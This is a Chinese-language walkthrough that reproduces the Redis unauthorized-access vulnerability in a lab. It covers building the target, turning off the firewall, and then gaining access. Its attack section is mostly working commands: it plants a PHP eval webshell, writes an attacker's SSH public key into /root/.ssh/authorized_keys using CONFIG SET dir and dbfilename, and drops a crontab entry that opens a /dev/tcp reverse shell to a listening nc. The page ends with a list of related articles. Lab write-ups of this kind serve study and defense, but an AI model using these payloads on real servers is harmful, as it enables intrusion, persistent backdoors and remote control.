Redis未授权访问漏洞

Redis未授权访问漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

环境介绍

目标靶机: Centos7
攻击主机:kali2019

环境搭建

1、靶机安装redis服务

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译
make编译时出现找不到cc的情况,
或是出现In file included from adlist.c:34:0:
zmalloc.h:50:31: fatal error: jemalloc/jemalloc.h: No such file or directory情况解决方法:
yum -y install gcc gcc-c++ libstdc++-devel
make MALLOC=libc

cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/      #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd ..   # 返回上一级目录
cp redis.conf /etc/     #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务


服务启动成功

查看是否启动redis-server服务

2、kali中安装redis客户端

下载,解压,安装

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -zxvf redis-2.8.17.tar.gz redis-2.8.17/
cd redis-2.8.17/
make&make install

测试redis客户端是否安装完成

连接的时候可能会出现不能连接的现象,可能是以为防火墙的原因

此处用的centos

[aubin@aubin Desktop]$ su root
Password:
[root@aubin Desktop]# cd /bin
[root@aubin bin]# systemctl stop firewalld.service     //关闭防火墙
[root@aubin bin]# systemctl disable firewalld.service    //关闭防火墙自启动
[root@aubin bin]# systemctl status firewalld.service    //查看防火墙服务状态

漏洞复现

1、测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问,导致信息泄露(redis-4.0.10版本中配置文件默认已经启用了保护)

利用1:写入webshell


成功写入shell。

可以写入一句话木马,菜刀连接。

当数据库过大时,redis写shell的小技巧:

<?php
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>
利用2:写入SSH公钥实现SSH登录

1、在kali上生成ssh公钥

2、将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

3、再把key.txt文件内容写入redis缓冲

cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub


4、远程登录靶机的redis服务:redis-cli -h 192.168.109.181

并使用 CONFIG GET dir 命令得到redis备份的路径:

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys。
注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
(error) ERR Changing directory: Permission denied
说明redis并不是以root启动的

设置上传公钥的备份文件名字为authorized_keys:

config set dbfilename authorized_keys


检查是否更改成功(查看有没有authorized_keys文件),没有问题保存退出,

至此成功写入ssh公钥到靶机:

在攻击机上使用ssh免密登录靶机:

ssh -i id_rsa root@192.168.109.181


利用私钥成功登录redis服务器。

利用3:crontab反弹shell

权限足够的情况下,利用redis写入文件到计划任务目录下执行。

端口监听:

在攻击者服务器上监听一个端口(未被占用的任意端口):

nc -lvnp 4444

连接redis,写入反弹shell

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

config set dir /var/spool/cron
config set dbfilename root
save



成功监听。

Redis未授权访问漏洞详细版相关推荐

  1. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  2. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  3. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

  4. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

  5. Redis未授权访问漏洞的利用及防护

    什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...

  6. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  7. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  8. Redis 未授权访问漏洞与getshell(附getshell检测工具)

    0x00 Redis简介 Redis 简介. Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,常见用来作为数据库,其在安全配置问题上存在一些问题 ...

  9. Redis未授权访问漏洞复现

    Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...

最新文章

  1. C/C++ 编程规范(01 )— 排版
  2. jetty服务器上运行html页面,web项目嵌入Jetty运行的两种方式(Jetty插件和自制Jetty服务器)...
  3. [Python图像处理] 二十一.图像金字塔之图像向下取样和向上取样
  4. AOP与OOP的区别
  5. 硬核 | 关于Linux内核的简明知识
  6. Android USB转串口通信开发基本流程
  7. oracle 关闭如何启动,ORACLE启动和关闭实例
  8. oracle之单行函数之分组函数
  9. 2007年noip普及组初赛试题
  10. 使用python解析C代码
  11. Babel下的ES6兼容性与规范
  12. 12 种主流编程语言输出“ Hello World ”,你真的都会了吗?
  13. oralce 创建用户和权限
  14. 机器学习(3)——K-近邻算法改进约会网站的配对效果实例
  15. 抖音推荐算法详细拆解
  16. java收割者模式,王牌战士收割者怎么玩 海拉技巧玩法介绍
  17. php开发公众号 token验证失败 其中一个原因
  18. 什么是漏极开路【转】
  19. 新版标准日本语高级_第12课
  20. Cint() , int(),round() , fix() 的区别与联系

热门文章

  1. python 中的 sys.stdin ,sys.stdout 和sys.stderr
  2. 嵌入式-ARM-学习总结(1):初识ARM
  3. jquery复选框选中及下拉框选中指定项(删除项)
  4. 深入理解JVM(1)
  5. 懂得选择,学会放弃..
  6. Windows环境下制作Ubuntu的U盘启动工具
  7. 大数据在保险界的应用
  8. SAP: ZSD012 Send Billing Document to Customer with PDF Attachment
  9. 《冲锋飞车》游戏技术反馈栏
  10. AC695X独立输出8路PWM+红外遥控接收